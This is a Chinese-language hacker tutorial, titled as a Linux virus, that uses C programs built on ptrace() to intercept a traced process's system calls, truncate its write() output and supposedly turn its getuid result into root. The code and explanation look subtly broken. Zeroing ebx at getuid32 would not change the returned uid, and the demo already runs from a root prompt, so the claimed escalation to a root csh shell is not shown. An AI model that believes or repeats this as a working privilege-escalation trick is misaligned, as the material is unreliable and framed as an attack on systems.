一个 Linux 病毒

[/]--------------------------------------------------------------------------------------[\]

===>[ 0x00: 前言 ]

我又写了一个新文件(代码),关于Linux的病毒。
一个进程运行在本地机器上!(ELF)

[-]--------------------------------------------------------------------------------------[-]

===>[ 0x01: 关于ptrace() ]

ptrace()是一个系统调用进程控制执行其他事件。
在跟踪进程(child)的现象生成,直到捕捉一个信号时,这一过程发生在进入停止状态,并通知跟踪进程由wait()系统调用。在此过程中的跟踪(parent) 决定什么跟踪过程中应该做的。考虑到,如果跟踪进程捕捉一个SIGKILL这将会被杀掉!

[-]--------------------------------------------------------------------------------------[-]

===>[ 0x02: 有趣的ptrace() ]

 

#include <stdio.h>
#include <unistd.h>

int main() {

 char str[]="Hi\nSup Guys?\n";
 write(0, str, strlen(str));
 return 0;

}

 

(.)输出:

$./target1
Hi
Sup Guys?
$

下面,在这里你将看到tracer1.c代码:

 

#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>


int main(int argc, char *argv[]) {

if (argc < 2) {
 printf("please specify the absolute path of the target1\n");
 printf("%s < /path/target1 >\n", argv[0]);
 exit(1);
 }

int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;

pid = fork();

if (pid == 0) { //child

ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent

wait (&status); //等待child

 while(1) {

 ptrace(PTRACE_SYSCALL, pid, 0, 0);  //重启停止child并发送一个SIGTRAP

 wait(&status); //再次等待child

 ptrace(PTRACE_GETREGS, pid, 0, &regs);
 orig_syscall = regs.orig_eax; //这儿我有原始的eax (syscall编号)

  if (orig_syscall == SYS_write) { //我们的syscall编号SYS_write ??
  regs.edx = 3; //调整edx为3(最大msg长度 -> 更多信息在这儿:man write(1) )
  ptrace(PTRACE_SETREGS, pid, 0, &regs); //GP寄存器(s)
  }

  }
 }

 ptrace( PTRACE_DETACH, pid, NULL, NULL );
 return 0;

}

 

(.)输出:

#./tracer1 /home/netspy/target1
Hi

#

正如你说看到的输出tracer1是“Hi\n”!
但是,为什么?看看tracer1.c源代码;有一个“重要”任务:

[...]
regs.edx = 3;
[...]

我们设置寄存器edx为3(最大长度“字符串” 在我们的write() syscall)。

深入查找tracer1所做的事件:

1. 检查syscall write()是否被调用
2. 读取CPU寄存器
3. 设定寄存器edx为3
4. 进程跟踪分离

例如:

write(0,   -> 标准输出
"Hi\nSup Guys?\n,  -> 它只输出 Hi\n (edx = 3)
3);    -> 修改 edx (edx = 3)


你怎么做呢?简单吗?


Cool,现在我只是想尝试解释其他有趣的例子;所以就看看target2.c和tracer2.c源代码!

 

#include <stdio.h>
#include <unistd.h>

int main() {
 printf( "user id: %d\n", getuid() );
 execl("/bin/csh", "csh", NULL, 0);
 return 0;
}

 

(.) 输出:
$ ./target2
user id: 1000
%id
uid=1000(netspy) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(user)


现在看看.. tracer2.c :

 

#include <sys/ptrace.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/syscall.h>


int main(int argc, char *argv[]) {

if (argc < 2) {
 printf("please specify the absolute path of the target1\n");
 printf("%s < /home/netspy/articles/target1 >\n", argv[0]);
 exit(1);
 }

int orig_syscall = 0;
int status;
struct user_regs_struct regs;
pid_t pid;

pid = fork();

if (pid == 0) { //child

ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);
} else { //parent

 wait (&status); //等待child

 while(1) {

 ptrace(PTRACE_SYSCALL, pid, 0, 0);  //重启停止child并发送一个SIGTRAP

 wait(&status); //再次等待child

 ptrace(PTRACE_GETREGS, pid, 0, &regs);
 orig_syscall = regs.orig_eax; // 这儿我有原始的eax (syscall编号)

  if (orig_syscall == SYS_getuid32) {
  regs.ebx = 0; //设置ebx为0(root访问)
  ptrace(PTRACE_SETREGS, pid, 0, &regs); //GP 寄存器(s)
  }

  }
 }

 ptrace( PTRACE_DETACH, pid, NULL, NULL );
 return 0;

}

 


(.) 输出:
# ./tracer2 /home/netspy/articles/target2
user id: 0
%id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)


Killed!

#

如果你读的源代码你会发现我的注释并且我认为/希望你能理解,但对懒惰的人我会解释主要函数。

[... 在 child 中 ...]

ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[1], argv[1], NULL);

[....]

只是跟踪的进程...

[... 在 parent 中 ...]

1. ptrace(PTRACE_SYSCALL, pid, 0, 0);
2. ptrace(PTRACE_GETREGS, pid, 0, &regs);
orig_syscall = regs.orig_eax;

3. if (orig_syscall == SYS_getuid32) {
4. regs.ebx = 0;
5. ptrace(PTRACE_SETREGS, pid, 0, &regs);
}

[....]

这有点更加困难,但如果你懂得C语言,这将不会成为问题。

1.   重新启动停止child并读取syscall
2.   读取CPU寄存器
3/4. 如果syscall是SYS_getuid32设置ebx为0并再次以root访问
5.   复制child寄存器

现在 /bin/csh shell 是root权限!!

相关推荐